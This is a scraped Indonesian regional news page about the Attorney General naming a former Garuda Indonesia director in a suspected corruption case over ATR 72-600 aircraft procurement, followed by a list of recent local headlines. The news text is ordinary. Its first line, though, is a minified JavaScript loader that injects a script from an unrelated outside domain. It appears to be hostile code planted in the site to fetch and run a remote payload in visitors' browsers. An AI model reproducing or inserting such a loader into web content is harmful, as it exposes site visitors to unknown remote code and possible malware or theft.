(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

AS Disebut Oknum di Garuda Indonesia yang Diduga Korupsi Pengadaan Pesawat


KANALKALIMANTAN.COM – Jaksa Agung ST Burhanuddin membeberkan sosok terduga korupsi pengadaan pesawat ATR 72-600 di maskapai Garuda Indonesia. Menurut Burhanuddin, sosok oknum tersebut merupakan manajemen lama di Garuda Indonesia.

Sosok tersebut juga pernah tersandung korupsi di Garuda Indonesia, dan saat ini tengah menghuni di penjara.

“Untuk ATR 72-600 ini zaman AS. Dan AS sekarang sudah masih ada di dalam tahanan. Dirutnya AS,” ujar Burhanuddin saat konferensi pers di Gedung Kejaksaan Agung, Jakarta, Selasa (11/1/2022).

Namun demikian, Burhanuddin memastikan, investigasi korupsi akan terus dikembangkan dan akan diusut hingga Garuda Indonesia bersih dari oknum-oknum.

 

 

Baca juga: Luapan Air Sungai di Jalan Tonhar Landasan Ulin Merendam 44 Rumah

“Kalau pengembangan pasti dan Insyallah tidak akan berhenti di sini. Akan kita kembangkan sampai benar-benar Garuda ini bersih,” ucap dia.

Untuk diketahui, pengadaan pesawat ATR 72-600 dilakukan oleh manajemen Garuda Indonesia saat dinahkodai oleh Emirsyah Satar. Sebanyak, 35 pesawat saat itu akan didatangkan oleh maskapai pelat merah.

Emirsyah Satar juga merupakan terpidana suap pengadaan mesin Rolls Royce sebesar Rp 5,85 miliar. Dalam kasus tersebut, Emirsyah satar dihukum 8 tahun penjara.

Sebelumnya, Erick Thohir memberikan bukti-bukti ke Kejaksaan Agung (Kejagung) terkait dengan korupsi pengadaan pesawat ATR 72-600 oleh Manajemen Garuda Indonesia terdahulu.

Erick menyebut, memang setelah ditelaah terdapat indikasi korupsi yang dilakukan manajemen Garuda Indonesia terdahulu terkait pengadaan pesawat dengan berbeda-beda merek.

Baca juga: Lima Kali Dibui, Residivis di Muara Teweh Ini Kembali Ditangkap Polisi

“Hari ini ATR-72 600 ini yang kami serahkan bukti-bukti audit investigasi. Jadi ini belum tuduhan, ini bukan zamannya tuduh-tuduh, tapi ada fakta yang diberikan,” kata Erick. (Suara.com)

Editor : kk


Risa

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

5 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

6 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

7 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

12 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

15 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

15 jam ago